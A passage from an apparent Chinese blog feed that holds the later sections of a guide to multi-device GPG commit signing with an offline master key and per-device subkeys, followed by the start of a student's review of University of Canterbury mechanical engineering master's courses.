设一个强密码</span></span><br></pre></td></tr></table></figure><p><strong>2. 给主 key 添加一把签名 subkey。</strong></p><figure class="highlight powershell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">gpg <span class="literal">--expert</span> <span class="literal">--edit-key</span> <span class="number">111122223333444455556666777788889999</span>AAAA</span><br><span class="line">gpg&gt; addkey</span><br><span class="line"><span class="comment"># kind: 4（RSA sign only），keysize: 4096，valid: 2y</span></span><br><span class="line">gpg&gt; save</span><br></pre></td></tr></table></figure><p><strong>3. 立刻生成吊销证书</strong>，别拖到「以后再说」——主 key 一旦不可用，这是唯一能对外宣告作废的东西。</p><figure class="highlight powershell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">gpg <span class="literal">--output</span> C:\Users\&lt;你&gt;\<span class="built_in">revoke-11112222</span>...asc <span class="literal">--gen-revoke</span> <span class="number">11112222</span>...</span><br><span class="line"><span class="comment"># reason: 1（compromised），最通用的选择</span></span><br></pre></td></tr></table></figure><p><strong>4. 导出三份备份。</strong> 这里有个会直接毁掉备份的坑，先说清楚：<strong>一律用 <code>gpg --output</code>，别用 <code>&gt;</code> 重定向</strong>。PowerShell 5.1 的 <code>&gt;</code> 默认按 UTF-16 写文件，GPG 读不了，将来导入时会报 <code>gpg: read_block: read error: Invalid packet</code> 或 <code>Invalid keyring</code>，而那时你多半已经把临时文件删了。养成 <code>--output</code> 的习惯，这类损坏根本不会发生。</p><figure class="highlight powershell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">gpg <span class="literal">--output</span> <span class="variable">$HOME</span>\master<span class="literal">-private-11112222</span>.asc  <span class="literal">--armor</span> <span class="literal">--export-secret-keys</span>     <span class="number">11112222</span>...</span><br><span class="line">gpg <span class="literal">--output</span> <span class="variable">$HOME</span>\subkeys<span class="literal">-bundle</span>.asc           <span class="literal">--armor</span> <span class="literal">--export-secret-subkeys</span>  <span class="number">11112222</span>...</span><br><span class="line">gpg <span class="literal">--output</span> <span class="variable">$HOME</span>\public<span class="literal">-11112222</span>.asc          <span class="literal">--armor</span> <span class="literal">--export</span>                 <span class="number">11112222</span>...</span><br></pre></td></tr></table></figure><p>（万一已经用 <code>&gt;</code> 写坏了某个 <code>.asc</code>，可以这样抢救一次：<code>Get-Content 坏文件 -Encoding Unicode | Set-Content 新文件 -Encoding ascii</code>。但根治办法还是改用 <code>--output</code>。）</p><p><strong>5. 核心一步：把主 key 私钥从本机删掉，只留 subkey。</strong> 这步做完，这台机器才真正符合「日常机不持有主 key」的设计——之前所有铺垫都是为了能安全地走到这里。</p><figure class="highlight powershell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 先确认主 key 的 keygrip（sec 行下方那个）</span></span><br><span class="line">gpg <span class="literal">--list-secret-keys</span> <span class="literal">--with-keygrip</span> <span class="number">11112222</span>...</span><br><span class="line"><span class="comment"># 按 keygrip 删掉主 key 私钥文件</span></span><br><span class="line"><span class="built_in">Remove-Item</span> <span class="variable">$env:APPDATA</span>\gnupg\private<span class="literal">-keys-v1</span>.d\<span class="number">0000111122223333444455556666777788889999</span>.key</span><br></pre></td></tr></table></figure><p>验证：再 <code>gpg --list-secret-keys 11112222...</code>，<code>sec</code> 应变成带井号的 <code>sec#</code>（表示私钥不在本机），而 <code>ssb</code> 不带井号（subkey 仍可签名）。<strong><code>sec#</code> + 无井号 <code>ssb</code> 就是这台日常机该有的正确状态</strong>，后面每台都以它为准。</p><p><strong>6. 配置 git。</strong> signingkey 末尾那个感叹号是关键，它强制 git 用这一把指定的 subkey，而不是让 GPG 自己挑。</p><figure class="highlight powershell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">git config <span class="literal">--global</span> gpg.program <span class="string">&quot;C:/Program Files/GnuPG/bin/gpg.exe&quot;</span>   <span class="comment"># 路径用正斜杠，有空格加引号</span></span><br><span class="line">git config <span class="literal">--global</span> user.signingkey AAAA1111AAAA1111!                  <span class="comment"># 注意末尾感叹号</span></span><br><span class="line">git config <span class="literal">--global</span> commit.gpgsign true</span><br><span class="line">git config <span class="literal">--global</span> tag.gpgsign true</span><br><span class="line">git config <span class="literal">--global</span> user.email <span class="string">&quot;&lt;你的 GitHub noreply 邮箱&gt;&quot;</span></span><br><span class="line">git config <span class="literal">--global</span> user.name <span class="string">&quot;yourname&quot;</span></span><br></pre></td></tr></table></figure><p><strong>7. 上传公钥到 GitHub。</strong> <code>gpg --armor --export 11112222... | Set-Clipboard</code>，然后到 Settings → SSH and GPG keys → New GPG key 粘贴。</p><p><strong>8. 测试，并确认它真的生效了。</strong></p><figure class="highlight powershell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">git log <span class="literal">--show-signature</span> <span class="literal">-1</span>   <span class="comment"># 看到 Good signature</span></span><br><span class="line">git push                      <span class="comment"># GitHub 网页上该 commit 显示 Verified 绿标</span></span><br></pre></td></tr></table></figure><h2 id="5-加一台新设备">5 加一台新设备</h2><p>这是日后最常走的流程，分三段：在已有设备上签发新 subkey、更新 GitHub 公钥、新机导入。</p><p><strong>阶段 A——签发新 subkey（需要插 U 盘导入主 key）。</strong></p><figure class="highlight powershell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 1. 导入主 key（导入后 sec 应无井号，因为这次要用它签发）</span></span><br><span class="line">gpg <span class="literal">--import</span> E:\IMPORTANT\GPG\master<span class="literal">-private-11112222</span>.asc</span><br><span class="line"></span><br><span class="line"><span class="comment"># 2. 关键：先把上一版公钥导进来，补全已有的所有 subkey 公钥</span></span><br><span class="line">gpg <span class="literal">--import</span> E:\IMPORTANT\GPG\v2\public<span class="literal">-11112222-v2</span>.asc</span><br><span class="line">gpg <span class="literal">--list-keys</span> <span class="number">11112222</span>...    <span class="comment"># 确认旧的 subkey 公钥都在</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 3. 加新 subkey</span></span><br><span class="line">gpg <span class="literal">--expert</span> <span class="literal">--edit-key</span> <span class="number">11112222</span>...</span><br><span class="line">gpg&gt; addkey      <span class="comment"># 4 / 4096 / 2y</span></span><br><span class="line">gpg&gt; save</span><br><span class="line"></span><br><span class="line"><span class="comment"># 4. 导出新版 bundle + 公钥</span></span><br><span class="line">gpg <span class="literal">--output</span> <span class="variable">$HOME</span>\subkeys<span class="literal">-bundle-vN</span>.asc  <span class="literal">--armor</span> <span class="literal">--export-secret-subkeys</span> <span class="number">11112222</span>...</span><br><span class="line">gpg <span class="literal">--output</span> <span class="variable">$HOME</span>\public<span class="literal">-11112222-vN</span>.asc <span class="literal">--armor</span> <span class="literal">--export</span>                <span class="number">11112222</span>...</span><br><span class="line"></span><br><span class="line"><span class="comment"># 5. 删主 key 私钥，回到 sec# 状态</span></span><br><span class="line"><span class="built_in">Remove-Item</span> <span class="variable">$env:APPDATA</span>\gnupg\private<span class="literal">-keys-v1</span>.d\<span class="number">0000111122223333444455556666777788889999</span>.key</span><br><span class="line"></span><br><span class="line"><span class="comment"># 6. 新文件存进 U 盘的 vN\，删掉本机临时文件</span></span><br></pre></td></tr></table></figure><p>阶段 A 第 2 步那行不起眼，但漏了它会埋一个很隐蔽的雷，我踩过：导出主 key 私钥备份的那一刻，它<strong>只包含当时存在的 subkey</strong>。如果你直接拿这份旧备份来签发、导出新公钥，新公钥里就会缺掉后来加的 subkey，结果是<strong>其他设备的 commit 集体变成 Unverified</strong>——而它们什么都没改，纯粹是被你这次操作连累的。所以导出新公钥<strong>之前</strong>，务必先 import 上一版 <code>public-vN.asc</code> 把所有 subkey 公钥补齐。</p><p><strong>阶段 B——更新 GitHub 公钥。</strong> 删掉旧的那把 GPG key，上传新的 <code>public-11112222-vN.asc</code>，然后在页面上确认它列出了<strong>全部</strong> subkey。历史上那些已经 Verified 的 commit 不受影响，GitHub 会拿新公钥自动重新验证。</p><p><strong>阶段 C——新设备导入配置（以 Linux 为例）。</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">gpg --import public-11112222-vN.asc</span><br><span class="line">gpg --import subkeys-bundle-vN.asc</span><br><span class="line"></span><br><span class="line"><span class="comment"># 删掉不属于本机的 subkey 私钥，只留本机专属那把的 keygrip</span></span><br><span class="line"><span class="built_in">rm</span> ~/.gnupg/private-keys-v1.d/&lt;其他设备 subkey 的 keygrip&gt;.key</span><br><span class="line"></span><br><span class="line"><span class="comment"># 配 git，signingkey 用本机专属 subkey</span></span><br><span class="line">git config --global user.signingkey &lt;本机 keyid&gt;!</span><br><span class="line"><span class="comment"># ……其余 gpgsign / email / name 同第一台</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 用完即焚，安全删除导入文件</span></span><br><span class="line"><span class="built_in">shred</span> -u subkeys-bundle-vN.asc</span><br></pre></td></tr></table></figure><p>导入后如果 <code>gpg --list-keys</code> 里 uid 显示成 <code>[unknown]</code>，别慌——那是新机器的 trustdb 还没把这把 key 标记为「自己的」，纯本地显示问题，不影响签名功能。<code>gpg --edit-key 11112222... → trust → 5（ultimate）→ quit</code> 改回来即可。</p><h2 id="6-各环境的差异">6 各环境的差异</h2><p>绝大多数步骤是通用的，这里只记三类环境各自要拐的弯。</p><p><strong>Windows（电脑 1 / 电脑 2）。</strong> 两台 gpg.exe 装在不同盘，<code>gpg.program</code> 各指各的（电脑 1 是 <code>C:/Program Files/GnuPG/bin/gpg.exe</code>，电脑 2 在 <code>D:/...</code>），路径统一用正斜杠、带空格加引号。signingkey 各用各的 subkey（电脑 1 是 <code>AAAA1111AAAA1111</code>，电脑 2 是 <code>BBBB2222BBBB2222</code>）。</p><p><strong>WSL（复用宿主 subkey）。</strong> 前面说过 WSL 不单发 subkey。从宿主 Windows 导出本机那把就行，末尾感叹号表示只导这一把：<code>gpg --output ... --export-secret-subkeys &lt;宿主 keyid&gt;!</code>。WSL 里导入公钥 + 这把 subkey，配好 git，<code>gpg.program</code> 直接用 <code>$(which gpg)</code>。</p><p><strong>ArchLinux 笔记本（独立物理机）。</strong> 这台签发了专属的 subkey #3。导入后记得删掉不属于它的 subkey 私钥（按 keygrip：<code>rm ~/.gnupg/private-keys-v1.d/&lt;其他设备 subkey 的 keygrip&gt;.key</code>），只留自己那把 <code>&lt;本机 subkey 的 keygrip&gt;.key</code>。<code>gpg.program</code> 用 <code>$(which gpg)</code>，图形环境下可装 pinentry-gtk/qt 走弹窗输密码。</p><blockquote><p>Linux 侧（WSL 和 ArchLinux 都算）第一次 commit 常会撞上 <code>Inappropriate ioctl for device</code>，那是 pinentry 找不到当前 TTY。一行配置解决，写进 shell 的 rc 里一劳永逸：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">echo</span> <span class="string">&#x27;export GPG_TTY=$(tty)&#x27;</span> &gt;&gt; ~/.bashrc</span><br><span class="line"><span class="built_in">source</span> ~/.bashrc</span><br></pre></td></tr></table></figure></blockquote><h2 id="7-日常维护与续期">7 日常维护与续期</h2><p><strong>日常签名是全自动的</strong>，只在 gpg-agent 缓存过期、需要重新解锁时弹一次 pinentry 输密码，平时无感。</p><p><strong>subkey 每两年到期，要续。</strong> 首次提醒我设在了 2028-04（赶在第一批 5 月到期前）。续期同样要插 U 盘请出主 key：</p><figure class="highlight powershell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">gpg <span class="literal">--import</span> master<span class="literal">-private-11112222</span>.asc</span><br><span class="line">gpg <span class="literal">--edit-key</span> <span class="number">11112222</span>...</span><br><span class="line">gpg&gt; key <span class="number">1</span>          <span class="comment"># 选中要续的 subkey</span></span><br><span class="line">gpg&gt; expire         <span class="comment"># 设新到期日</span></span><br><span class="line">gpg&gt; save</span><br><span class="line"><span class="comment"># 之后照例：导出新公钥上传 GitHub、导出新 bundle 备份、删主 key 私钥</span></span><br></pre></td></tr></table></figure><p>这套结构搭好之后，还能按需解锁一些进阶玩法，列在这儿当备忘，不是必需：</p><ul><li>签 release tag：<code>git tag -s v1.0.0 -m &quot;...&quot;</code>。</li><li>签固件：<code>gpg --detach-sign firmware.bin</code>，把 <code>.sig</code> 一起发布供用户验证。</li><li>把公钥写进 README、推到 keyserver，教用户核对指纹。</li><li>上 YubiKey：把 subkey 搬进硬件，私钥永不离开硬件。</li><li>用 <code>pass</code>：一个拿 GPG 加密的密码管理器。</li></ul><h2 id="8-出事了怎么办">8 出事了怎么办</h2><p>这一节但愿用不上，但正是「用不上的时候也得准备好」的东西，才决定了前面那些备份要不要做到位。</p><p><strong>某台设备丢了，或某把 subkey 泄露了。</strong> 不慌，这正是「每机一把 subkey」要解决的场景。插 U 盘导入主 key，<code>gpg --edit-key 11112222... → key N</code>（选中那把）<code>→ revkey → save</code>，再把更新后的公钥上传 GitHub。被吊销 subkey 签过的历史 commit 仍然 Verified——吊销是带时间戳的，只对吊销之后生效。</p><p><strong>忘了主 key 密码。</strong> 这个救不回来。只能导入吊销证书声明整个身份作废，重新生成一套新的。所以——密码必须存好，这是第四遍了。</p><p><strong>主 key 和 U 盘全丢了。</strong> 拿出那份单独保存（最好还有纸质版）的吊销证书，<code>gpg --import</code> 它，再 <code>gpg --keyserver keys.openpgp.org --send-keys 11112222...</code> 对外公告作废，然后重走整套流程建新身份。<strong>这就是吊销证书要和主 key 分开存、还要打印一份的全部意义</strong>：它得在主 key 本身已经够不着的时候，依然够得着。</p><p><strong>连吊销证书（含纸质版）也一起灭失。</strong> 这是最坏的情形，但要先分清是「丢了」还是「被偷了」，两者处理完全不同。</p><p>如果只是丢失、没落到别人手里：你已经无法吊销了——吊销要么靠主 key、要么靠吊销证书，两样都没了，那份「作废声明」就发不出去。但不必太慌，别人同样拿不到这把钥匙，不存在被冒用的风险。直接放弃这个身份即可：重新生成一套新主 key 与 subkey，更新 GitHub，并在博客 / README 里说明旧 key 已弃用。旧 key 因为设了永不过期，会一直挂在 keyserver 上「看着有效」，这是永不过期的一个代价；介意的话，可以给主 key 设个到期日，让弃用的身份将来自行失效。</p><p>如果是被偷、且对方连密码也拿到了：这才是真正棘手的——对方能冒充你签 commit、签 release，甚至签发新 subkey 或反过来吊销你真正的 key。而你既无主 key 也无吊销证书，连「止损式」的吊销都发不出。此时唯一能用的，是 GPG 之外、对方控制不了的可信渠道：用你的 GitHub 账号（它有独立的密码 + 2FA，是另一套信任锚）把那把 GPG key 删掉、不让新 commit 再顶着 Verified，并在博客（走 HTTPS）、README、必要时邮件通知协作者，公告「X 日起此 key 已泄露，请勿再信任」，再用新身份重建信任。损害窗口到大家看到公告为止——影响在声誉与供应链信任层面，能恢复，不是灾难。</p><p>退一步看本质：GPG 并没有一个中心化的「删除此密钥」按钮，吊销不过是一份你签出来、再公布出去的声明，只有当你还拿得出主 key 或吊销证书时才发得出。所以在「全部同时灭失」这种极端场景里，真正的兜底不是更多的密码学，而是你那几条彼此独立的身份渠道——GitHub 账号、HTTPS 博客、验证过的邮箱——它们让你能可信地宣布「旧的废了，这是新的」。这也正是前面反复强调备份要多份、异地分开存的原因：把「全部同时灭失」的概率压到足够低，本身就是对这个问题最有效的回答。</p><h2 id="结语">结语</h2><p>整套方案听起来环节不少，但真正高频的只有「日常签名」那一项，而它是全自动的；其余步骤——加设备、续期、应急——都是低频操作，照着上面对应小节走即可。把复杂度压在这些少数时刻、换日常的省心和一台设备出事时的从容，我觉得这笔买卖很划算。</p><p>最后重申一遍这套记录的安全边界：文中所有 fingerprint、key ID、keygrip 都可以安全公开，唯一的机密是主 key 密码，它只该躺在密码管理器里。但愿那一节「出事了怎么办」你永远用不上。</p><p><strong>最后祝各位配置顺利</strong></p>]]>
    </content>
    <id>https://www.catwhiteangel.com/gpg-multi-device-commit-signing-offline-master-key-and-per-device-subkey/</id>
    <link href="https://www.catwhiteangel.com/gpg-multi-device-commit-signing-offline-master-key-and-per-device-subkey/"/>
    <published>2026-06-21T12:11:00.000Z</published>
    <summary>五个工作环境（Windows、WSL、Arch Linux）共用一个 GPG 身份的完整配置：离线 Certify-only 主 key + 每台设备独立 subkey，让每个 commit 显示 Verified，并把设备丢失的影响收敛到吊销单把 subkey。</summary>
    <title>GPG 多设备提交签名——离线主 key + 每台设备独立 subkey</title>
    <updated>2026-06-21T12:11:00.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>还魂灵猫</name>
    </author>
    <category term="Study Notes" scheme="https://www.catwhiteangel.com/categories/Study-Notes/"/>
    <category term="University of Canterbury" scheme="https://www.catwhiteangel.com/tags/University-of-Canterbury/"/>
    <category term="Mechanical Engineering" scheme="https://www.catwhiteangel.com/tags/Mechanical-Engineering/"/>
    <category term="Postgraduate" scheme="https://www.catwhiteangel.com/tags/Postgraduate/"/>
    <content>
      <![CDATA[<div class="note info flat"><p>本文中的课程评价均为本人在Semester 1修读期间的个人体会,带有主观性,不代表课程的客观水平。坎特伯雷大学的授课内容、考核方式与任课教授每年都可能调整,本文所述未必与你将来实际遇到的情况一致。以下内容仅供选课参考,具体请以学校官方课程大纲及最新通知为准。</p></div><h1>坎特伯雷大学机械工程硕士课程介绍——基于本人所选课程（Semester 1）</h1><hr><h2 id="ENME603-26S1-—-Advanced-Linear-Systems-Control-and-System-Identification">ENME603-26S1 — Advanced Linear Systems Control and System Identification</h2><p><strong>课程内容</strong></p><p>本课程包含两条主线：<strong>线性系统控制（Linear Systems Control）</strong> 为讲授与考试的主体，<strong>系统辨识（System Identification）</strong> 则以课后 Quiz 的形式单独考核，Test 与 Exam 不涉及。</p><p>在 26S1，本课程尝试将全部学习内容录制为视频并上传至 Learn 平台，线下课堂则用于讲解学生提出的疑问、共性问题以及作业。教授最后对学生进行了相关调研，但此后的授课形式尚不确定。</p><p>线性控制部分以状态空间（State Space）方法为主线，依两次 Test 分为前后两个阶段。</p><p>第一阶段（Lecture 1–11，对应 Test 1 范围）以基础内容为主：</p><ul><li>State Space Equations 状态空间方程的建立与表示</li><li>Non-uniqueness of States &amp; Modal Transform 状态的非唯一性与模态变换</li><li>Transfer Function ↔ State Space 传递函数与状态空间互转（含可控标准型 CCF）</li><li>Discrete Time Systems 离散时间系统</li><li>Controllability &amp; Observability 可控性与可观性（特征向量法、矩阵法、可镇定性 Stabilizability）</li><li>State Transition Matrix / e^At 状态转移矩阵与求解</li><li>（Linearisation 系统线性化仅在讲义中给出，不单独讲授）</li></ul><p>第二阶段（Lecture 12–21，对应 Test 2 范围）侧重设计：</p><ul><li>Pole Placement 极点配置（理论与跟踪增益 Tracking Gains）</li><li>Estimator Design &amp; Separation Principle 估计器/观测器设计与分离原理</li><li>Lyapunov Stability 李雅普诺夫稳定性</li><li>Optimal Control 最优控制：H-infinity、LQR</li><li>（LQG 最优估计器设计与整体复习同样仅在讲义中给出）</li></ul><p>线性控制部分配有 7 次作业（Homework 1–7），与各主题一一对应，仅作为课后练习，不计分，但值得一做。</p><p>系统辨识部分由 4 个 <strong>Parameter Identification Quizzes 参数辨识课后 Quiz</strong> 覆盖，<strong>不纳入考试范围</strong>：</p><ul><li>Linear Least Squares 线性最小二乘</li><li>Integral-Based Methods 基于积分的方法</li><li>Steepest Descent 最速下降法</li><li>Gauss-Newton 高斯-牛顿法</li></ul><p><strong>考核方式</strong></p><table><thead><tr><th>项目</th><th>占比</th></tr></thead><tbody><tr><td>系统辨识 Quiz</td><td>15%</td></tr><tr><td>线性控制 Quiz</td><td>5%</td></tr><tr><td>Test 1</td><td>25%</td></tr><tr><td>Test 2</td><td>25%</td></tr><tr><td>Exam</td><td>20%</td></tr><tr><td>Lab</td><td>10%</td></tr></tbody></table><p>需特别留意的一项规则：若两次 Test 的平均分高于 <strong>75%</strong>，可选择不参加 Exam，最终成绩以两次 Test 的平均分计算。也就是说，前期 Test 表现良好者可免修期末考试。</p><p>关于占 10% 的 <strong>Lab</strong>：需为<strong>倒立摆</strong>与<strong>弹簧阻尼串联的三车系统</strong>设计控制器，涉及<strong>极点配置</strong>与 <strong>LQR</strong>；先完成参数计算，再到实验室输入并运行。实测存在失败的可能，但不必过度担心——并非所有人都能成功运行，关键在于认真完成实验报告。此外，提交实验报告前另有一个设计封面的小环节（是否每年设置尚不确定）；若不愿在此投入精力，用 AI 生成一张图作为封面提交即可。</p><p><strong>注意事项 &amp; 建议</strong></p><p>所需基础：</p><ul><li><strong>线性代数</strong>：至少应掌握矩阵运算、特征值与特征向量的求解、行列式（det）的计算</li><li><strong>工程控制原理</strong>：至少应了解极点位于不同位置时的系统表现，以及传递函数的基本知识</li></ul><p>几点建议：</p><ul><li>课程开篇会涉及较多数学推导，但不必因此感到畏惧，<strong>整体难度并不高</strong>。</li><li>两次 Test 中可能有一次在<strong>难度与计算量上明显加大</strong>，建议提前做好准备。</li><li>考试时应保持信心，<strong>优先完成所有题目</strong>；反复翻看、纠结于个别题目容易导致时间不足。</li><li>Test 允许携带<strong>单面 A4 纸</strong>，Exam 允许携带<strong>正反双面 A4 纸</strong>，建议提前整理好笔记。</li></ul><hr><h2 id="ENME623-26S1-—-Advanced-Instrumentation-and-Sensors">ENME623-26S1 — Advanced Instrumentation and Sensors</h2><p><strong>课程内容</strong></p><p>本课程围绕传感、仪器与测量展开，分为 Term 1 与 Term 2 两个学期，讲授配合贯穿全程的 LabVIEW 实验与设计项目。</p><p>Term 1 讲授（Module I–IV），偏信号与测量基础：</p><ul><li>I. Measurement Specifications 测量系统规格：测量系统指标、Noise 噪声</li><li>II. Signal Conditioning &amp; Processing 信号调理与处理：A/D 转换、Interference 干扰、模拟/数字滤波器、FIR/IIR 滤波器设计、Fourier Transform 傅里叶变换、高通/带通/带阻滤波器</li><li>III. Sensor Fusion 传感器融合</li><li>IV. Measurement Examples 测量实例</li></ul><p>Term 2 讲授（Module V–VII），偏统计与实验设计：</p><ul><li>V. Measurement Theory &amp; Statistical Analysis 测量理论与统计分析：直方图/频率/PDF、高斯分布与正态误差函数、Student’s t 分布、假设检验（z 检验、t 检验）、合并统计、卡方分布与拟合优度、离群值识别、测量次数</li><li>VI. Regression &amp; Measurement Uncertainty 回归与测量不确定度：回归分析（多项式拟合与拟合误差）、测量不确定度分析</li><li>VII. Design of Experiments 实验设计：DOE、析因与分式析因设计、方差分析（ANOVA）入门</li></ul><p>Term 1 配有每周 LabVIEW 实验（Lab，全程使用 LabVIEW）：</p><ul><li>Lab 0 — Introduction to LabVIEW：LabVIEW 入门</li><li>Lab 1 — Bio-instrumentation：搭建程序测量血压与心率</li><li>Lab 2 — LED Control：控制多色 LED 灯带</li><li>Lab 3 — Micro-Mill：控制微型铣床</li><li>Lab 4 — Parallel Robot：按坐标控制并联机器人移动</li><li>（Lab 2、3、4 在 Week 3–5 轮换进行）</li></ul><p>Lab 1—5 各需要完成一份课后练习题。</p><p>Term 2 有两个 Project：</p><ul><li><strong>Instrumentation Design Project 仪器设计项目</strong>（小组，3–4 人）：为悬臂梁（cantilever beam）设计并搭建测量系统，在静态、振动、以及振动台（shake table）外部扰动三种条件下测量已知重量和未知重量；用 LabVIEW 搭建含 GUI 的集成系统，最终进行精度评比。</li><li><strong>Research Project 研究论文</strong>（仅 ENME623 需要，ENME423 不需要）：自选一个与传感和仪器相关的系统（地面车辆、水下机器人、无人机、农业机器人、辅助机器人等），完成文献综述与批判性综述，按 IEEE 格式撰写 2,000–2,500 字的学术论文（含标题页、摘要 ≤250 词及至多 5 个关键词、正文）。</li></ul><p><strong>考核方式</strong></p><table><thead><tr><th>项目</th><th>占比</th></tr></thead><tbody><tr><td>Labs（Term 1 每周评估）</td><td>10%</td></tr><tr><td>Term 1 Test</td><td>15%</td></tr><tr><td>Research Assignment</td><td>20%</td></tr><tr><td>Instrumentation Design Project</td><td>20%</td></tr><tr><td>Final Exam</td><td>35%</td></tr></tbody></table><p>监考部分（Test 与 Exam 的加权平均）须达到 <strong>33%</strong> 的最低及格线。需注意：以上为 ENME623 的占比；ENME423 不撰写研究论文，整体占比会相应调整，具体以官方 Course Outline 为准。</p><p><strong>注意事项 &amp; 建议</strong></p><p>关于 LabVIEW 与实验：</p><ul><li>实验全程使用 <strong>LabVIEW</strong>，形式为小组合作，但 Term 1 的实验理论上完全可以单人完成，也可以提前自行做完。</li><li>可自行到官网下载最新版本练习，但需注意实验室机器用的是 <strong>2025 版</strong>（唯独 LED 实验是 2015 版），交付前记得将文件转换为对应版本。</li><li>若希望 Term 2 的设计项目做得轻松一些，<strong>强烈建议把 Term 1 的实验认真做、认真学</strong>。</li></ul><p>关于设计项目：</p><ul><li><strong>强烈建议寻找靠谱的队友</strong>，至少不能中途消失；是否与本地学生合作视个人情况而定，此处不作评价。</li><li>测量结果前三名有额外加分（+3 / +2 / +1）。</li><li>整个设计项目的不确定性很高，<strong>没有十足把握时不建议投入过多时间，该放手时应及时放手</strong>。</li></ul><p>关于考试：</p><ul><li>Test 允许携带 <strong>1 张 A4 纸（正反面）</strong>，Exam 允许携带 <strong>2 张 A4 纸（正反面）</strong>，建议提前整理好笔记。</li></ul><hr><h2 id="ENMT665-26S1-—-Embedded-Systems-Software-I">ENMT665-26S1 — Embedded Systems Software I</h2><blockquote><p>这是一门新开的课，26S1 为第二次开课，选课人数很少（本次仅 3 名学生）。没有 Lecture，全部学习材料都在 Learn 平台上自学，线下只有 tutorial，主要用于答疑与交流。</p></blockquote><p><strong>课程内容</strong></p><p>课程没有传统讲授，由一系列在线 Learning Module（LM）构成，分为前后两段。</p><p>前 6 周为双轨学习模块，每周各一个：</p><p><strong>C Programming（C LM1–6）</strong>——嵌入式开发的主力语言 C：</p><ul><li>LM1: Getting Started 入门</li><li>LM2: Expressions, Flow Control, Functions and Scope 表达式、流程控制、函数与作用域</li><li>LM3: Memory, Pointers and Arrays 内存、指针与数组</li><li>LM4: Data Structures and Modules 数据结构与模块</li><li>LM5: Strings, IO and other things 字符串、IO 及其他</li><li>LM6: Dynamic Memory 动态内存</li></ul><p><strong>Computer Architecture（Architecture LM1–6）</strong>——计算机内部对 C 代码&quot;物理上&quot;如何响应，主线是从晶体管一路到 CPU、外设与通信：</p><ul><li>LM1: CMOS to Arithmetic 从 CMOS 到运算（布尔逻辑、Math Machines）</li><li>LM2: From Multiplexing to Memory 从多路复用到存储（状态与存储、累加器）</li><li>LM3: ALU to CPU 从 ALU 到 CPU（指令与汇编）</li><li>LM4: （这一周未布置，直接跳过，后续可能LM3的内容会拆分到LM4）</li><li>LM5: ADC and DAC 模数/数模转换（含 PWM 与定时器、GPIO 与内存映射外设、与外设通信）</li><li>LM6: Serial Communication 串行通信</li></ul><p>后 6 周为嵌入式系统模块（LM7–12），将 C 与架构知识融合：</p><ul><li>LM7: Thinking Like an Embedded Programmer 像嵌入式程序员一样思考（寄存器与 volatile、驱动）</li><li>LM8: Program Structure and Scheduling 程序结构与调度（状态机、中断及其风险、调度器与 RTOS）</li><li>LM9: Streams and Buffering 流与缓冲（缓冲问题、双缓冲）</li><li>LM10: Writing Better Code 写出更好的代码（git 版本控制、模块化、MISRA）</li><li>LM11: User Interfaces 用户界面</li><li>LM12: MCU Shopping 选购微控制器</li></ul><p><strong>Assignment（占 40%，重头戏）</strong>：把一个来自高层参考（Python、MATLAB、伪代码或论文）的算法，移植为运行在 <strong>STM32C071 Nucleo（配 RCAP 子板）</strong> 上的小型 C 库，要驱动一个真实输出、处理一个真实输入，或两者皆有。RCAP 子板上配有 6 轴 IMU、OLED 屏幕、摇杆、四个按钮、LED、蜂鸣器与振动电机，可供调用。可自带题目（个人项目、朋友的项目、其他课程中需要嵌入式代码的部分），否则有一份示例清单可选。提交物包括：C 库、研究/设计报告、自评（self-review）、git 历史；并在学年最后一节 tutorial 现场演示运行。</p><p><strong>考核方式</strong></p><table><thead><tr><th>项目</th><th>占比</th></tr></thead><tbody><tr><td>C Learning Modules</td><td>20%</td></tr><tr><td>Architecture Learning Modules</td><td>15%</td></tr><tr><td>Assignment</td><td>40%</td></tr><tr><td>Exam</td><td>25%</td></tr></tbody></table><p>关于 Learning Module 有一点要特别注意：<strong>C 模块以首次作答的成绩计分</strong>（为避免靠猜），完成后才开放重做用于练习——因此作答前务必看完材料、想清楚再提交。</p><p>Exam（25%）整张卷子围绕一个贯穿场景：依据一组需求设计一个基于微控制器的控制系统。开卷还是闭卷并不固定——本次由教授直接让学生选择。</p><p><strong>注意事项 &amp; 建议</strong></p><p>关于课程形式：</p><ul><li>全程自学，没有 Lecture，线下 tutorial 